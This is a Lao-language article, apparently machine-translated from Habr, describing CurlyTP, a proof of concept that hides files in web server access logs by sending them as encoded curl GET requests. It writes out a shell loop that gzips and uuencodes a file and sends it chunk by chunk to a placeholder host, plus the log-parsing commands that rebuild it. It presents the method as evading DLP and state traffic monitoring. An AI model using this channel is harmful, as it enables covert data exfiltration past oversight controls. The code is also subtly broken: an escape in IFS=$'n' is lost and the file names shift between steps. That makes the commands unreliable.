ອີງຕາມຄໍານິຍາມ Wikipedia, ການຫຼຸດລົງທີ່ຕາຍແລ້ວແມ່ນເຄື່ອງມືສົມຮູ້ຮ່ວມຄິດທີ່ເຮັດຫນ້າທີ່ໃນການແລກປ່ຽນຂໍ້ມູນຫຼືບາງລາຍການລະຫວ່າງຄົນທີ່ໃຊ້ສະຖານທີ່ລັບ. ແນວຄວາມຄິດແມ່ນວ່າປະຊາຊົນບໍ່ເຄີຍພົບ - ແຕ່ພວກເຂົາຍັງແລກປ່ຽນຂໍ້ມູນເພື່ອຮັກສາຄວາມປອດໄພໃນການດໍາເນີນງານ.

ສະຖານທີ່ເຊື່ອງບໍ່ຄວນດຶງດູດຄວາມສົນໃຈ. ເພາະສະນັ້ນ, ໃນໂລກອອບໄລນ໌ພວກເຂົາມັກຈະໃຊ້ສິ່ງທີ່ບໍ່ສຸພາບ: ດິນຈີ່ວ່າງຢູ່ໃນຝາ, ປື້ມຫ້ອງສະຫມຸດ, ຫຼືຮູຢູ່ໃນຕົ້ນໄມ້.

ມີຫຼາຍເຄື່ອງມືການເຂົ້າລະຫັດລັບ ແລະ ການປິດບັງຊື່ຢູ່ໃນອິນເຕີເນັດ, ແຕ່ຄວາມຈິງແລ້ວຂອງການໃຊ້ເຄື່ອງມືເຫຼົ່ານີ້ດຶງດູດຄວາມສົນໃຈ. ນອກຈາກນັ້ນ, ພວກເຂົາອາດຈະຖືກສະກັດຢູ່ໃນລະດັບບໍລິສັດຫຼືລັດຖະບານ. ຈະເຮັດແນວໃດ?

ນັກພັດທະນາ Ryan Flowers ສະເຫນີທາງເລືອກທີ່ຫນ້າສົນໃຈ - ໃຊ້ເຄື່ອງແມ່ຂ່າຍເວັບໃດໆເປັນບ່ອນເຊື່ອງ. ຖ້າທ່ານຄິດກ່ຽວກັບມັນ, ເຄື່ອງແມ່ຂ່າຍເວັບເຮັດຫຍັງ? ໄດ້ຮັບການຮ້ອງຂໍ, ອອກໄຟລ໌ແລະຂຽນບັນທຶກ. ແລະ​ມັນ​ບັນ​ທຶກ​ການ​ຮ້ອງ​ຂໍ​ທັງ​ຫມົດ​, ເຖິງແມ່ນວ່າບໍ່ຖືກຕ້ອງ!

ມັນ turns ໃຫ້​ເຫັນ​ວ່າ​ເຄື່ອງ​ແມ່​ຂ່າຍ​ຂອງ​ເວັບ​ໄຊ​ຕ​໌​ໃດ​ຫນຶ່ງ​ອະ​ນຸ​ຍາດ​ໃຫ້​ທ່ານ​ເພື່ອ​ຊ່ວຍ​ປະ​ຢັດ​ເກືອບ​ທຸກ​ຂໍ້​ຄວາມ​ໃນ​ບັນ​ທຶກ. ດອກໄມ້ສົງໄສວ່າຈະໃຊ້ວິທີນີ້ແນວໃດ.

ລາວສະເຫນີທາງເລືອກນີ້:

1. ເອົາໄຟລ໌ຂໍ້ຄວາມ (ຂໍ້ຄວາມລັບ) ແລະຄິດໄລ່ hash (md5sum).
2. ພວກເຮົາເຂົ້າລະຫັດມັນ (gzip+uuencode).
3. ພວກເຮົາຂຽນໃສ່ບັນທຶກໂດຍໃຊ້ຄໍາຮ້ອງຂໍທີ່ບໍ່ຖືກຕ້ອງໂດຍເຈດຕະນາຕໍ່ເຄື່ອງແມ່ຂ່າຍ.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ເພື່ອອ່ານໄຟລ໌, ທ່ານຈໍາເປັນຕ້ອງປະຕິບັດການເຫຼົ່ານີ້ຢູ່ໃນລໍາດັບປີ້ນກັບກັນ: ຖອດລະຫັດແລະ unzip ໄຟລ໌, ກວດເບິ່ງ hash (hash ສາມາດຖືກສົ່ງຜ່ານຊ່ອງເປີດຢ່າງປອດໄພ).

ຊ່ອງຫວ່າງຖືກແທນທີ່ດ້ວຍ =+=ດັ່ງນັ້ນບໍ່ມີຊ່ອງຫວ່າງຢູ່ໃນທີ່ຢູ່. ໂປລແກລມ, ທີ່ຜູ້ຂຽນເອີ້ນວ່າ CurlyTP, ໃຊ້ການເຂົ້າລະຫັດ base64, ເຊັ່ນໄຟລ໌ແນບອີເມລ໌. ການຮ້ອງຂໍແມ່ນເຮັດດ້ວຍຄໍາສໍາຄັນ ?transfer?ເພື່ອໃຫ້ຜູ້ຮັບສາມາດຊອກຫາມັນຢູ່ໃນບັນທຶກໄດ້ຢ່າງງ່າຍດາຍ.

ພວກເຮົາເຫັນຫຍັງຢູ່ໃນບັນທຶກໃນກໍລະນີນີ້?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ດັ່ງທີ່ໄດ້ກ່າວມາແລ້ວ, ເພື່ອໃຫ້ໄດ້ຮັບຂໍ້ຄວາມລັບ, ທ່ານຈໍາເປັນຕ້ອງໄດ້ດໍາເນີນການໃນຄໍາສັ່ງປີ້ນກັບກັນ:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

ຂະບວນການແມ່ນງ່າຍທີ່ຈະອັດຕະໂນມັດ. Md5sum ກົງກັນ, ແລະເນື້ອໃນຂອງໄຟລ໌ຢືນຢັນວ່າທຸກສິ່ງທຸກຢ່າງຖືກຖອດລະຫັດຢ່າງຖືກຕ້ອງ.

ວິທີການແມ່ນງ່າຍດາຍຫຼາຍ. "ຈຸດຂອງບົດຝຶກຫັດນີ້ແມ່ນພຽງແຕ່ການພິສູດວ່າໄຟລ໌ສາມາດຖືກໂອນຜ່ານຄໍາຮ້ອງຂໍເວັບໄຊຕ໌ເລັກນ້ອຍ, ແລະມັນເຮັດວຽກຢູ່ໃນເຄື່ອງແມ່ຂ່າຍເວັບໃດໆທີ່ມີບັນທຶກຂໍ້ຄວາມທໍາມະດາ. ໂດຍພື້ນຖານແລ້ວ, ທຸກໆເຄື່ອງແມ່ຂ່າຍເວັບແມ່ນບ່ອນເຊື່ອງ!” Flowers ຂຽນ.

ແນ່ນອນ, ວິທີການເຮັດວຽກພຽງແຕ່ຖ້າຜູ້ຮັບສາມາດເຂົ້າເຖິງບັນທຶກຂອງເຄື່ອງແມ່ຂ່າຍ. ແຕ່ການເຂົ້າເຖິງດັ່ງກ່າວແມ່ນສະຫນອງໃຫ້, ສໍາລັບການຍົກຕົວຢ່າງ, ໂດຍ hosters ຫຼາຍ.

ໃຊ້ມັນແນວໃດ?

Ryan Flowers ເວົ້າວ່າລາວບໍ່ແມ່ນຜູ້ຊ່ຽວຊານດ້ານຄວາມປອດໄພດ້ານຂໍ້ມູນແລະຈະບໍ່ລວບລວມບັນຊີລາຍຊື່ຂອງການນໍາໃຊ້ທີ່ເປັນໄປໄດ້ສໍາລັບ CurlyTP. ສໍາລັບລາວ, ມັນເປັນພຽງແຕ່ຫຼັກຖານຂອງແນວຄວາມຄິດວ່າເຄື່ອງມືທີ່ຄຸ້ນເຄີຍທີ່ພວກເຮົາເຫັນທຸກໆມື້ສາມາດຖືກນໍາໃຊ້ໃນທາງທີ່ບໍ່ທໍາມະດາ.

ໃນຄວາມເປັນຈິງ, ວິທີການນີ້ມີຂໍ້ໄດ້ປຽບຫຼາຍກວ່າເຄື່ອງແມ່ຂ່າຍອື່ນໆ "ເຊື່ອງ" ເຊັ່ນ Digital Dead Drop ຫຼື PirateBox: ມັນບໍ່ຈໍາເປັນຕ້ອງມີການຕັ້ງຄ່າພິເສດໃນດ້ານເຊີຟເວີຫຼືໂປໂຕຄອນພິເສດໃດໆ - ແລະຈະບໍ່ເຮັດໃຫ້ເກີດຄວາມສົງໃສໃນບັນດາຜູ້ທີ່ຕິດຕາມການຈະລາຈອນ. ມັນເປັນໄປບໍ່ໄດ້ທີ່ລະບົບ SORM ຫຼື DLP ຈະສະແກນ URLs ສໍາລັບໄຟລ໌ຂໍ້ຄວາມທີ່ຖືກບີບອັດ.

ນີ້ແມ່ນຫນຶ່ງໃນວິທີການສົ່ງຂໍ້ຄວາມໂດຍຜ່ານໄຟລ໌ການບໍລິການ. ທ່ານສາມາດຈື່ຈໍາວິທີທີ່ບໍລິສັດກ້າວຫນ້າທາງດ້ານບາງບ່ອນໃຊ້ໃນການວາງ ວຽກນັກພັດທະນາໃນ HTTP Headers ຫຼືໃນລະຫັດຂອງຫນ້າ HTML.

ແນວຄວາມຄິດແມ່ນວ່າຜູ້ພັດທະນາເວັບເທົ່ານັ້ນທີ່ຈະເຫັນໄຂ່ Easter ນີ້, ເພາະວ່າຄົນທໍາມະດາຈະບໍ່ເບິ່ງຫົວຂໍ້ຫຼືລະຫັດ HTML.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com